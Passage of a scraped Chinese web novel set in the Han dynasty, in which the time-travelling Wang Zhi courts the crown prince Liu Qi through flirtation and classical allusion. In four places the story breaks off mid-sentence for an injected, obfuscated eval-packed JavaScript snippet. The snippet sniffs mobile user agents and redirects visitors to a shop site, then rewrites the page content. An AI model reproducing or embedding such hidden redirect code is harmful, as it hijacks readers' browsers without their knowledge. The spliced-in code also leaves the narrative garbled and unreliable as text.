可当他走进来的时候,却很容易让人错觉满室都随着他的到来增添了种种光彩。 ——“轩轩如朝霞举”。 未来的孝景皇帝长了一张能将满身肃穆打扮都衬得光耀夺目气势逼人的昳丽形貌,一张令王娡在看到的瞬间大脑竟然恍惚错愕到一片空白,简直不能更加熟悉的美貌。 那个她在长陵邑街偶然撞见的漂亮青年,那张让她对比之后对前夫的样貌突然索然无味的脸,她平生见过也许是她审美中最好看的美人。 同时也是她完全不在乎会长成啥样,只在意了对方的身世性格为人处事风格,觉得是这个时代毋庸置疑的最佳选项,满心只想着怎么和对方好好合作互惠共利的未来老公。 饶是以王娡两世为人的阅历,这种对她来说几乎完全不搭边的两个人突然合二为一的刺激也着实厉害。她一时也愣在了原地,全凭本能跟着其他人一起躬身行礼。 “……愿殿下长乐未央。” 但说这话的时候,她真心实意。 * 幄后有人。 刘启将刘嫖扶起后,很轻松就瞥见了那道人影。 “好奇了?” 馆陶长公主眉眼弯弯,调侃着太子的眼神。 “阿姊将那位佳人夸得有如神妃仙子一般。窈窕淑女,君子好逑,本是人性。我也确实很难不好奇吧?” 刘启也回以一笑,小心试探着美人的性别。 而刘嫖并没有发现自家弟弟这完全是捕风捉影而来莫须有的担忧,饶有自信地睨他两眼:“殿下这么说来,为何不自己去看看呢?” 刘启本是为此而来,自然从善如流、欣然而往。 姊弟二人联袂施施而行,走到近处,刘嫖却就此止步,只含笑示意刘启自己撩开帷幕。 那幄后的身影比之远处看着更清晰了些许,饶是依旧有轻纱阻隔,却也可见灯下照来那风流的姿态。 刘启从容地欣赏了一会美人的身段,然后不慌不忙漫不经心地挑开了幄帐。 一只手从薄纱中探出,接过了他手中的动作。 她却并不肯将幄帐悉数撩开,只打开一道小小的缝隙,仿佛是一种无声的邀请。 那是一只很漂亮的手。 她的手指纤长却不显柔弱,像是春天草木初生的枝条,透出一种生命的韧劲。她的皮肤则是一种如玉样的莹白,在灯光的笼罩下,朦胧中仿佛覆着一层柔光。 而她的袖口露出一截细腻的皓腕,线条是柔和流畅的优美,白皙的皮肤上俏皮地染了小小一点墨痣。刘启下意识错开眼去,可那一点墨黑却仿佛烙印一样在视觉里留下重影,仿佛挥之不去。 太子沉默着,没理会身后阿姊很明显看热闹的态度,却微微垂眸,顺从了这场邀请。 他弯腰走进幄帐,层层轻纱拂过他的面颊,他微微低头,半阖着眼,顺势单膝跪地跽坐,然后抬首,睁开了眼。 她今天批了一件远比上次华丽的锦裙,仿佛他梦中无数次得见的幻想一瞬间美梦成真。又好像他刚才穿过那层层帷幄步入帐中的时候,就如同被神话中的仙女接引登仙步入天界一样,已然不知不觉重入梦境。 梦中的神女朝他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她原本的丈夫是如何了呢?他的长姊对背后的故事知情吗?他这样的举动会不会给小人佞臣以可乘之机呢? …… 她自愿吗? “……你愿意吗?” 可他依旧僵直地保持着单膝跪地的跽坐,轻轻挽留式的拉住佳人的袖口,克制地没有触碰到她一寸皮肤。 “你愿意吗?” 刘启又低声问了一遍。 他应该相信馆陶长公主的人品的,可他更相信他的长姊对他的爱,可太子那经受过百家教育早已磨炼出来的警惕与冷淡尖锐得让他无法坚信。 但他此刻只等着一个答案。 只要她愿意给他,不论是什么回复,不论是真心与否。 刘启都会或惊喜或不甘……或贪婪地相信。 而王娡看着他墨黑的眼睛。 孝景皇帝的眼眸生得锋利到凌厉,可眼神却深沉到让王娡分辨不出任何的情绪。 晁错的术数教育其实已经相当成功。只是刘启平日从不会一直收敛,总让陌生人误以为他还有着些喜形于色的小毛病。 正是这样的作风,才让他更容易在关键时刻,将情绪完全遮掩到无人能够探寻。 但王娡又不需要去追问一个答案。 她才是给予解答的那方。 所以她展颜一笑,没被攥住袖口的那只手动作轻飘飘地覆到了刘启的手上。 “殿下好像知道了很多——却不知道我那天就是去决婚的吗?” 她看着刘启一怔的神色,那幽深难辨的眼睛逐渐恢复平日里的神采。 “殿下甚至都不肯先问问我的名字,” 于是她含笑轻哼了一声: “殿下知道吗?” 刘启:…… 11. 第 11 章 尽管被劈头盖脸抛过来一个死亡问题,刘启楞了一会之后,反而轻松找回了他所熟悉的节奏。 他不退反进,原本只捏着王娡衣袖的手在得到暗示之后,终于放下心来,转而握住了美人的臂腕。 刘启用的力度并不大。 哪怕方才得知自己求而不得的美人突然一朝近在咫尺,这样的惊喜也没有冲昏太子的头脑。 他的手还含着一点尚未完全脱离青少年期抽条式发育带来的瘦,薄薄一层皮肉勾勒出他分明的骨节,让他的手在瘦中透着一种锋利的美感。太子多年以来的教育经历让王娡本来做好了忍耐他茧子的准备,可也许是有定期保养,刘启的触碰其实并没有她想象中的粗糙。 他的手因为身形的高挑比她大上一圈,覆过来的时候,几有一种能将她悉数细密笼罩起来的错觉。而掌心的隐隐透过来的温热,即便是在夏季,也是一种不会让人生恼的温度,带着他生命的一份活力。 他握着王娡的手,温柔地仿佛只是一个不求回报的过客,纵然虚虚挽留,动作都轻和到给她一种随时能够轻松挣脱开去的感觉。 可事实是,刘启由原本的单膝跽坐顺势往前跪坐了下去,又拉近了两人的距离。 他特意弯腰俯身拉着王娡的手,就着这个姿势,用一个从下往上的仰望的眼神抬眼看她。 流淌的灯光倒映在他平日里总显得太过黑白分明的眼里。刘启轮廓中的凌厉,此刻都因这份刻意的示弱而收拢了棱角。但他的眼依旧是热的,雀跃的欣喜糅杂着一份炽烈的热切,他看她的眼神是带着钩子的。 ——既然她放弃了拒绝。他就不会放她走的。 起码此刻。 “——那我这个冒昧的寡德之人,是否可以有幸得知呢?” 刘启压低了嗓子轻声问她。两人之间足够亲密的距离,让她甚至能够感知到彼此呼吸间气流的流动。 王娡低下眼。 太子平日里再衣冠楚楚,领口也不可能紧到完全贴合皮肤,而如今他又有意无意随着动作扯松了一二。于是从她现在自上而下的视角望去,自是一片他人寻常绝对无从窥见的好风景。 好啊。因为第一面相遇是那么个情况,所以这人就这么快敏锐抓到了讨好她的最佳方式? 谁让你拿这种东西来考验她了! 并且只是锁骨难道够吗?再往下那一片若隐若现半遮半掩欲拒还迎的——有本事你再把前襟拉大一点啊! “殿下果然材智高奇,伎艺过人绝远。” 王娡还是没忍住自己想呛人的欲/望,又是戏谑又是辛辣地调侃起刘启这幅做派。老刘家祖传的能屈能伸实在太不要脸,明明是她先做好要色/诱的准备,结果现在看看,却是谁在勾引人啊? 刘启被她这么一刺,面上也带出一点好似被点破的薄红。可他也不回嘴,反倒顺水推舟,只继续由下往上,用着一双眼尾都仿佛因为她的嘲笑而开始泛红的眼睛,欲语还休地看她。 她说过,灯光从这个角度,能够流淌进他的眼睛里的,对吧? 于是光影被狡猾的青年所利用,他明明一滴泪都没有挤出来,却就是能伪装得像是满眼湿漉漉的,相当委屈地看她。 太过分了。 这又不是什么“含情欲说宫中事,鹦鹉前头不敢言”的剧本。 ……但她确实吃这一套。 未来老公这么乖觉,也确实应该多夸夸他,给他点甜头吃。好鼓励对方下次再接再励,继续发挥颜值上的各方面优势,给自己未来生活带来更多综合意义上的幸福。 王娡于是展颜一笑。 她将刘启握着她手腕的那只手摘下来,挑眉示意他坐直并将手掌摊开。然后伸出食指,一笔一划在他的掌心描摹出自己的名字。 “——不许舞弊。” 她言语含笑间用另一只手捂住太子的眼,刘启的眼睫随着她的动作在她掌间微颤。 可她手指的动作却很轻柔,于是说是写字,不如说就是故意的抚摸。 蜻蜓点水一样,若即若离的触碰。因为失去视线,无法预知下一秒落下的轨迹,而显得格外瘙痒的掌心。 “殿下认出来了吗?” 这回轮到刘启正襟危坐,而她俯身探来了。不,应该说,如果太子殿下没有故意俯身示弱,他们坐下时,她就应该是刚好是这个角度,需要微微抬头看他,应该恰好是此前两人的视角互换。 刘启看不到。但他能感觉到脖颈侧气流的浮动,她应该是就这个角度故意凑近了过来,仿佛一定要以其人之道还治其人之身,却故意不肯真的让他看,甚至刻意朝他的喉口再吹了口气。 她在报复,一定是在报复。对吧? “王、娡。” 刘启耐心将她写在自己掌心的两个字辨识出来。两个字从发音来说都算不上柔和圆润,听起来透着一股烈性的刚强。可偏偏他念起来却显得温柔又清脆,像有饱满的珍珠随着他的舌尖滚落坠地。 “王娡。” 他又连起来念了一遍,然后狡黠地笑了起来:“娡儿。” 娡这个字,单独解释是不存在任何意思的。它从一开始就只是作为一个人名而出现。 “鲧娶有莘女,曰娡,曰修己,谓女志。” 人们认为黄帝与嫘祖于若水生次子昌意,昌意生颛顼,颛顼辅少昊有功被封于高阳。后与共工争帝而成,屈原在《离骚》中念“帝高阳之苗裔兮”,追念的就是这位先祖。 颛顼五世而生鲧,鲧生禹,虞舜嬗以天下。天下号曰夏后氏。 娡就是禹的母亲,夏的开国太后。她又叫修己。而娡如果真的要寻找一个字的寓意,那只是志加上了女字旁。 什么是“志”? “予告汝于难,若射之有志。” 志是箭靶。 刘启将王娡在他掌心写字的手轻轻裹住,饶有兴致地开始——背书。 嗯,“孝文帝时,天下无治尚书者”。所以刘恒特意派晁错,去向一个曾经在秦朝就职的老博士伏生那学治《尚书》——这都是明面上的好听话。实际上是因为焚书令、挟书令以及秦末战乱等等原因,朝廷甚至一本《尚书》都没有,所以派人去老头那边听写的。 老头当年已经九十多岁了,连话都说不清楚,要靠他女儿羲娥转述。偏偏老头是济南人,晁错是颍川人,两个人方言上还有差异,听起来别说多费劲,甚至还可能有偏差。 但你也别管这些后来学术争端,今文古文两派吵架时总拿来对喷的细枝末节。 反正晁错最后是学出师了,听写回来了。汉朝官方此时通行的《尚书》版本就是他晁家令自己写的,后来史称今文《尚书》。你就说你学不学吧! 连最大竞争对手古文《尚书》的问世,都得等到刘启家好治宫室的老四鲁恭王刘余就国之后。他因为想要扩建自己的宫廷,所以胆大包天到去破坏孔子旧宅,从而在被毁坏的墙壁中发现一堆古籍,交由孔子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14431504|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十一世孙孔安国整理献上。 嗯,也有说是刘启家老二河间献王刘德搜集到的。这位老二未来将以“修学好古,实事求是”的风范,在景帝一堆初具人形的抽象崽中独树一帜,一生都投身于伟大的古籍保护与传承事业当中,让不少历史系学生在史学史课上能为他这份心意感动阿门一声。 发现古文尚书的俩孩子他爹,听写今文尚书的晁错他学生,孝景皇帝刘启今年芳龄二十二。 刘德应该四岁,刘余撑死三岁。 晁错在今文尚书上的权威还能再横行个起码十年,而刘启的《尚书》毋庸置疑是跟这位当代真·业界官方权威大佬读的。放在现代,刘启多少得算一个学界某分支学科祖师爷的开山大弟子,还是那种跟导师关系又好,家里又背景雄厚到能包揽了导师经费的真·太子爷。 他想炫耀炫耀一下对他来说简直和家学没什么区别的《尚书》造诣多正常啊! 王娡对此态度相当包容:要她上辈子读书时候是他那个学术地位。别说在亲友面前忍不住开屏,半夜躺床上睡着了她都能在梦中笑醒好吗! 幸亏她上辈子学的历史,对掉书袋子感觉良好。 要不然按照这个时代女子的平均受教育程度,恐怕刘启以前和女人相处,要么是她们受不了此人突然说一些她们听不懂的话,只能强颜欢笑敷衍;要么就是刘启兴致冲冲孔雀开屏,结果发现,笑死,对面甚至不能理解到他在用古文典籍来和她们调情。 王娡一想到事情如果是这么发展的,就忍不住觉得有些好笑。她心情很好地看着刘启一边漫不经心继续背着和“志”各种含义相关的古句,一边将她的手臂牵引到唇边,然后突然轻轻亲了她一口。 他的吻轻飘飘落在她的指尖,落在她突出的骨节,落在她手侧的小痣,最后落在她的内腕。他亲吻着她隐隐透出其下血管的皮肤,用嘴唇轻贴感受着她脉搏的跃动。 志是箭靶,是标记,是德行,是目标。是一定要有所作为的意志与决心,是一个人的意念、感情、理智、知觉——大脑一切复杂而微妙、理性或感性的情绪。 “楚襄王与宋玉游于云梦之浦,使玉赋高唐之事。其夜,王寝,梦与神女遇,其状甚丽。” 楚襄王梦与巫山神女遇,梦醒,命宋玉做《神女赋》。当宋玉向他询问梦境具体为何时,楚王如是说。 “晡夕之后,精神恍忽,若有所喜。纷纷扰扰,未知何意。目色仿佛,乍若有记。” “见一妇人,状甚奇异。寐而梦之,寤不自识。” 刘启将王娡掩住他眼的那只手牵引着离开,十指交错,反覆在他的脸颊上,然后眼眸含笑侧眼瞧她: “罔兮不乐,怅然失志。” 襄王有意,可惜神女无心。 刘启自觉比楚王幸运得多——毕竟他又不是诸侯,他父皇是天子嘛。 他的神女有心,不是吗? “该换我了。”他好声好气地说着,好像他们在玩什么奇怪的回合制游戏一样,微笑着让王娡触摸他的嘴唇。 “孤的名字是——” 他吞下所有发音,只让王娡注视着他的口型来猜测。眼神里面还带着一种恶作剧成功的兴奋和小小的骄傲。 好可恶的男人,这明明不在一个难度水准上! ……但话又说回来,就算没有史书作弊,她也早就从刘嫖知道了。接下来该怎么演得像要猜一样?要不干脆不演了? 笨笨太子。 12. 第 12 章 “少昊青鸟氏所司,孔子云愤悱方发。商君以先入者举,伯禽翼周室当大。” “陛下给殿下起了个很好的名字。” 王娡很从容地点了点刘启的下唇: “不过殿下还是不要像夏帝为好。” 娡是禹母,启为禹子——这个伦理梗有点太糟糕了。 并且更重要的是: “启乃淫溢康乐,野于饮食,将将铭苋磬以力,湛浊于酒,渝食于野,万舞翼翼,章闻于大,天用弗式。” 夏启虽然是夏朝世袭制的开端,在位期间伐有扈氏之罪,称得上雄主。但晚年疑似荒于饮食音乐之中,在位期间发生了武观之乱。《墨子》因此在《非乐》篇申明墨家反对音乐主张的时候,以他为反例劝谏世人。 可—— 原本因为王娡用一种精彩而巧妙,却偏偏又绝不直呼冒犯的字谜形式,真的猜出了自己名字而又惊又喜的刘启,听完这段却忍不住失笑。 “只有《墨子》如是批判过帝启不是吗?别无他文,何足以信?” 也对。 太子殿下向来对自己的教育资源远非常人所能及这点认知很清醒:以王娡的出身,她能够博览群书,甚至和他谈文说理到有来有往的地步,已经是相当才华横溢了。他怎么能够进一步苛求呢? 反正他们未来还有很长的时间——既然她也对这些对很多人来说相当枯燥的学问颇感兴趣,刘启很乐意让这成为一种二人相处时的谈资。 他原本对王娡惊人的博学所产生的疑虑和困惑,很快就因为这一场小小的学术分歧在他的脑海中消散而去,转而生出的是一种对王娡的怜爱与感叹:以她的才华,如果放在更高的门第里,有更好的老师教导,原本完全不应该被眼界所束缚,问出这样的问题的。 但刘启没有将这份情绪带到表面——王娡应该不会喜欢这种居高临下的欣赏的。哪怕只认识了很短一段时间,刘启依旧本能嗅出对方和自己本质相近的骄傲——他只是相当平和地阐述着自己的想法: “两周之世,去帝启久矣。夏朝具体的情况,又有谁能真的说清呢?但如果夏启真的有那样荒淫的传言,为什么会只有《墨子》这么说呢?” “春秋战国之际,百家多擅以寓言说理。虽多以楚人、郑人这样的虚称阐述,但以上古帝王为寓言,从而方便论述自己的主张。我想百家诸子也不是做不到。” 他还有点古史辨流派的风味。 王娡默默点评着刘启这一段的思路: 虽然还不敢直接像们伟大的天才历史之王那样,直接点明古史完全是层层累积而形成,不知道有多少是春秋战国时期人们塞进去的私货,却也很敢锐评啊。 不过她本来这么说也不是真的想和刘启探讨什么学术问题——都说了她不做先秦两汉!——也不是真的认可夏启是个荒淫之君。刘启如她所想,得出了和她类似的结论才好。 王娡面上蹙眉,神情却很有一分被人点破关窍,瞬时恍然大悟的恍神。 “况且启子太康失国,其人素以盘于游田,不恤民事著称。《墨子》又并非全为墨子所著,门人转述记载有所失真,将启与太康二人混淆……也不是没有可能?” 她似乎是在尝试顺着刘启为她打开的新世界大门前进,青涩而生疏地梳理着自己的思路。清澈的嗓音话到最后微微上扬,一双明眸半是羞赧半是矜持地朝他看来,像是寻求认同。 刘启耐心地听着她新生的见解,更是惊喜于她的伶俐和进步。 “我不知道。”他没给出肯定的答案,看着美人一时有些不满地抿唇嗔他,便含笑凑近了距离,很亲昵地回复:“两周都已经离夏代足够久远了。我又如何能知真伪呢?只是世间大众的传言往往如是逻辑,所以凡事不可以不多深思而已。” “娡儿此前以帝启劝谏于我,本是对我好意。是我多思之错,不该这么扫兴。” 那你不是还一定要说? 王娡在心底暗暗白他一眼,但也早习惯了:她自己就是读的文科,又交游文史哲众多,对像刘启这种正儿八经学富五车腹有诗书的人的脾性也就略知一二。 他们的性格也许或温良或敏/感,或尖锐或暴躁,但只要不是那种孤高到不屑于世人理解的性格——多少都有点好为人师的癖好。 不是现代很多人嫌弃的那种爹味,或者一定要显摆自己读书多多的人设。他们只是单纯受不了自己的专业被无知或者营销号挑衅,见不得有人懵里懵懂犯傻。 简称,职业病。 对这种人来说,能遇上和自己观点相近的知音知己,那可真是恨不得日常从白天聊到黑夜,只叹相逢恨晚,未解平生素忧——王娡是想走这种路子,却不得不面对一个重要问题: 她该如何解释自己的满腹才华呢? 槐里与长陵邑都在长安周围相去不远,都属于未来被三辅所管辖的卫星城。王娡的成长于是算不上什么难以探寻的秘密:这一世臧儿固然也教她读书写字,她探寻知识的本能也让她保持了学习的习惯。可王家与金家的门第,对比起这个年代知识获取的门槛来说,实在太低了。 偶尔一两句的引经据典,可以解释为先祖余荫——更多的呢? 要是再从长计议,王娡之所以要脱离金家改嫁太子,可不是因为太子殿下颜色甚好——她那会又不知道美人就是刘启呢——只是纯纯因为太子殿下未来能登基为帝,然后英年早逝,给她留下一个太后身份和一个千古一帝的崽。 给她一份天下最尊贵的权力。 可权力的存在当然不仅仅是因为身份——她要这权力可以从名义上的尊贵付诸于现实。 她要参政。 皇帝的宠爱再为浓厚,或许终有一天也会随着颜色故去。更何况王娡向来厌恶不能将立身之本握在掌中。 历朝历代,帝后关系相当和谐。哪怕老公趁着自己年老色衰出轨了,但不管怎么闹,怎么吵,怎么争,最后大权都稳稳的在自己手上压根没办法被动摇的几个皇后,都是怎么做的呢? ——把朝廷开成夫妻店。 让情谊酿成能令皇帝甘愿听取谏言的蜜浆,将势力细细密密渗透进朝堂。皇帝爱你时,自然是二圣临朝;不爱时,也无法轻易废后。 不是像武曌李治那样的二圣夫妻店——他们家继承人是孝武皇帝,王娡傻了才自己上位当皇帝——杨坚独孤那样的二圣夫妻店,才是王娡学习的榜样啊。 而想要“上亦每事唯后言是用”,王娡就得想办法给自己各种超越时代的眼光找好出处,为自己未来在各种大事小事上的话语权,打好足以让刘启信任的补丁。 老刘家不久前才因为诸吕之乱吓得不轻,对外戚后族现在依赖之余,警惕心可一点不小。王娡这理由必须得好好琢磨。 ——太子殿下自己亲手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14431505|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教出来的学生,怎么样? 王娡看着刘启朝她赔罪时笑意盈盈的脸,缓缓做出一副终于想开解气的模样。 “殿下欺负我。” 她细细低语。 这份委屈可不是全然的虚假。 王娡一想到自己上辈子分明能够凭借自己的学识,在与各路学友的交游议论中得到足够的尊重。如今却还要故意犯蠢,来证明自己的聪明还只是天赋的雏形,日后还要和刘启假模假样的学习,就真情实感地感觉难过。 所以她的耿耿于怀也是真情流露——可她偏不直接说自己生气。 聪明人永远会更信赖他们自己思考得出的结果。而受了委屈却也不喊疼的乖乖小猫,自然也容易博得饲养员的纵容与溺爱。 她一声不吭地偏过头去。 很快,耳边就传来了刘启投降一般的叹息。 “是我错了。” 刘启确实在认真反省:哪有他这样上来就和美人严肃探讨学术问题,还一定要揪着美人的小错寻根问底的? 他是不是今天被惊喜冲昏头了,怎么一直在犯傻的路上? 完全没考虑到有人故意给他挖坑,在不牵扯到国家大事问题的前提下,还是相当好说话的太子殿下忙不迭赔礼道歉,各种甜言蜜语纷至沓来,终于成功许下了王娡等待已久的诺言。 “真的会教我吗?” “真的。君子慎诺,孤不轻易承诺。” “那——好吧。”王娡终于偏回头来,重又露出了笑容。 她的眼里流淌着纯粹的喜悦,因知识的新得而雀跃。让刘启看得更是半怜半愧。 然后下一秒更叫他哑然无言。 “公主是不是还在帐外等我们开宴?” 王娡一脸无辜而忧虑地望他,似乎才刚刚想起场合的不对。 刘启:…… 幄帐经常是可供高级贵族内坐议事的场所,常为纱质,虽然有一定视线上的遮掩作用,但绝、对不会隔音的。 如果隔音,他们还怎么“运筹帷幄之中,决胜千里之外”? 回想了一下二人刚才的对话,脸皮其实很薄的太子殿下整个人都僵在了原地。 他默默回头看了一眼,然后就对着很明显空无一人的前堂陷入了沉思。 好消息:他阿姊显然业务熟练,早早就跑路给他们留下了足够私人空间。 坏消息…… 刘启再转身,看着王娡的眼神满是谴责。 她才是正对前堂的那个,很明显能够将馆陶长公主早早跑路看得一清二楚。 ……她就是故意在逗他的! * 哼着小调,人在堂前檐下临轩远眺的馆陶长公主,哪怕看似轻松自在,实际上也当然是眼观六路耳听八方的。 听见后方终于迟迟传来了脚步声,她才好整以暇地转身,上下扫视了一番太子殿下。 嗯,衣冠楚楚的。看来再上头,都严格发乎情,止乎礼了是吧? “还开宴会吗?今晚上还梦魇吗?” “哎呀,到底是谁想怀疑我不够忍痛割爱的呀?” “嘶——要不仔细想想,这爱我也确实割让不动,怎么办呢?” 刘嫖笑意盈盈,故意拿乔。 刘启:…… “是阿姊爱弟。” 太子殿下乖乖巧巧地低眉顺眼,熟练地预备伏低做小。 13.第 13 章 刘嫖毕竟只是在跟刘启开玩笑。 馆陶长公主嬉闹着和太子劝饮了一杯,赚到了好几声“君幸酒”之后,就见好就收。她和自家弟弟的相处向来进退得当、尺度刚好,既有姊弟互动的亲昵,却又不会骄狂到近而不逊。 “你接下来想怎么办?是今晚上就跟太子回宫?还是我帮你多留一日,改天白天我再把你送过去?” 席间,刘嫖趁着如今气氛炒得正热,伸手掩面轻声探问起王娡的想法。 她看她弟应该是不想多等一日的。可刘嫖也有自己的思考:且不说太轻易得到手的总不容易珍惜,她怕刘启因此轻视王娡。再者,她大晚上给她弟送美人进宫,那不是很容易显得她不像个正经牵线人? 她一时左右摇摆不定,最后还是把决定权交给了王娡这个当事人。王娡要是自己都不介意和刘启今晚上就走,馆陶长公主当然乐意成人之美。 王娡思索了一阵,欣然接受了今天就走的选项。 “殿下和我其实曾有一面之缘。”刘嫖不想这场对话声张出去,王娡的声音也很轻柔:“他不会因此对我心生狎侮之意的。” 对于刘启来说,他和她的再相逢已经足够跌宕起伏、几经波折了。用不着再给他强设难度,锤炼一下他想抱得美人归的心志。 适度的等待与分离,确实是维系一段感情新鲜感的关键。可是刘启已经酝酿了太久,再等待下去,反而容易适得其反、过犹不及。 再加上,“殿下也是五日一休沐吗?” 身边并没有当官案例的王娡咨询了一下绝对比她更熟悉这些的馆陶长公主。 “?嗯,对啊。”刘嫖没反应过来,有点纳闷地看她。 王娡默不作声。 汉制五日一休沐,每次休沐两天。而今天已经是太子休沐的第一天晚上了。 大部分官员在上班的时候,需要连着五天都宿在官府衙里。哪怕是在宫中办公的中朝官和和三署郎也不例外,甚至还可能因为被要求入直禁中,反而要连上十天班。 刘启是太子,只能说应该还不至于落到晚上连太子家都回不去的地步。 但王娡以她上辈子的为人经验打赌:刘启绝对不会在假期最后一天的晚上胡来。 普通社畜或者学生在周日晚上狂欢通宵,最多是周一上班上学的时候被领导、老师嫌弃批评两句。但如果刘启这么干,也许要批判他的就是当今皇帝连带着所有对太子关注有加的大臣了。 综上所述。 王娡认真权衡了一下利弊,觉得今晚上就走其实挺好的。 这样她和刘启说不定第二天早上还能温存一会,两个人再和谐度过一个上午,让她看看能不能从刘启口中套点他妻妾情报。 王娡抿了口羽觞杯,看着太子不动声色地侧头朝他们投来关注的视线,对着他莞尔一笑。 刘启盯着她的笑容沉默了一阵,随后似乎是接受到了她的暗示,原本平静时容易显得有些冷淡的神色,此刻却一点点被明亮的笑意点染。 他低头也抿了一口杯中物,再慢条斯理地昂首。王娡就见他的下唇蒙上了一层水色的淋漓,在灯光的映照下竟显得颇有几分诱人。 王娡:…… 他自己被蛊惑到了,就是一定要以其人之道还治其人之身勾引回来,好像生怕自己在这方面落后于人似的吗? 刘启这还真不叫雄竞。 他纯纯爱竞罢了。 * “手给我。” 刘启登上马车的动作相当利落,无需任何人搀扶,一看就是平日里早就轻车熟路。他在车上刚刚落定身形,转身就对着王娡张开了手。 太子此番出行随侍的宫人本打算将王娡搀扶上车队中另一驾马车上。那是馆陶长公主赞助的马车,里面摆放着臧儿和田家提前封存在长公主府上的一笔可供王娡支配的“嫁妆”。刘嫖和王娡关系亲密起来后,她还特意开了私库在其中添了一笔。 封建社会尊卑有别。在没有得到太子允许的情况下,没有哪个宫人敢将王娡往刘启车上引。 但太子这次竟然想要亲自搀人上车共乘! 能在太子身边伺候的都是在宫中摸爬滚打训练出来的人精,见到这幅场景,自然恭恭敬敬地将王娡迎至刘启的车驾前。 他们看着刘启跪坐下来,一只手拉住王娡的手,另一只手揽住她的腰,然后一把就将她整个人捞上车驾,抱进门中。心中的震撼自然不必多说。 彼此之间交换了几个眼神,年纪尚轻的几个活泼宫人到底没忍住:“这位……竟然能够得到这个待遇?”“前面几位美人,哪怕是最得幸的时候,怕也没有这样的吧。” 更有机灵者,很快就想到了后院那两位正怀着子嗣的美人,心道未来后院肯定又要出一阵风波了。 那两位本就因着自己有身不能承宠,往日里分明都针锋相对惯了,近日却罕见和和美美起来。这位美人的到来,还真是一下子直击她们心中隐晦的痛点。 有人觉得以他们太子的性子,自然是旧爱比不过新欢,盘算着如何在王娡面前卖好投效;有人觉得王娡到底双拳难敌四掌,那两位又是刘启先前难得同时纵容了的姬妾,腹中又有孩子,说不准得是新欢难得吃亏……一时之间竟然很有些心思浮动起来。 年长的宫人见到这样,立马低声呵斥了几个动静最大的领头人。车驾这才又安静地向着太子家的方向前进。 可人们的心绪很显然不是这么轻易能够抚平的。 刘启随意一个举动,都能轻易在他们这些人心中扬起轩然大波。 * 刘启单手挑开车厢的帷帘,抱着王娡走了进去,相当安稳地将人放定在了地上,一点也没磕到。 王娡怔怔地仰头看着刘启的脸,然后又很有点不可思议地扫视了一圈太子的上半身,最后还是没藏住自己的错愕:“……殿下不累吗?” 王娡自认是个体重正常的女性。 她虽然乍看好似身形纤细,但主要是因为身量高挑,四肢修长,衣物又选择的是不那么贴身的类型,才显得体态风流。准确来说她其实身材匀称,肌体丰盈,远不是那种轻盈到能做掌中之舞的类型。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447723|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可刘启偏偏就能用一个其实并不很适合发力的姿势,轻轻松松地将她从低处直接捞到自己怀里。现在看起来甚至还颇有余力,脸不红,气不喘,额角没冒一滴汗。 太子殿下这些年的锻炼看来是真的一点都没偷懒,练出来的效果也着实惊人,显然当年能失手弄死吴王太子,这身力气绝对得背大半的锅。 刘启被她直白的目光看得不太自在,几乎是下意识回想起那天偶遇,她在自己身上各种打转的眼神。他不动声色地理了理有些杂乱的衣裳,结果却好像适得其反。 王娡原本还只是因为好奇而在他身上扫射的目光,随着他开始一本正经地整理衣物,反而聚焦在了他动作的手上, 他的手背后就是他的前襟。 刘启被她看得甚至都微妙的有些心虚: 车厢内尽管是一个相对封闭和隐秘的私密二人空间,但是太子殿下心明眼明,深知外面绝对有机敏的宫人随时竖耳聆听里面的动静,防止错过太子的传唤。这个“隐秘”的程度因此也是很需要打上问号的。 而在刘启的认知中,允许某人上车参乘一直是一个重要的礼仪性问题。它是一种上位者用来表示与下位者亲近,同时标榜此人不同于他者的奖励性措施。是应该和大臣联系在一起的礼节。 所以他一开始其实也没想过要让王娡和他同乘的。 他完全是——身体下意识地呼唤出声后,他才突然意识到自己好像不太应该这么做。 可那会所有人都陷入了莫大的震撼之中,他看着宫人们对王娡举止间透露出来的小心谨慎,看着王娡惊讶的眼神,完全没办法允许自己把话收回去。 天子无戏言。刘启本来就不应该朝令夕改,甚至这种情况下如果突然反悔,那都不能算“朝夕”,简直是“倏忽”。这对他的信用毫无疑问是一种不必要的损失。 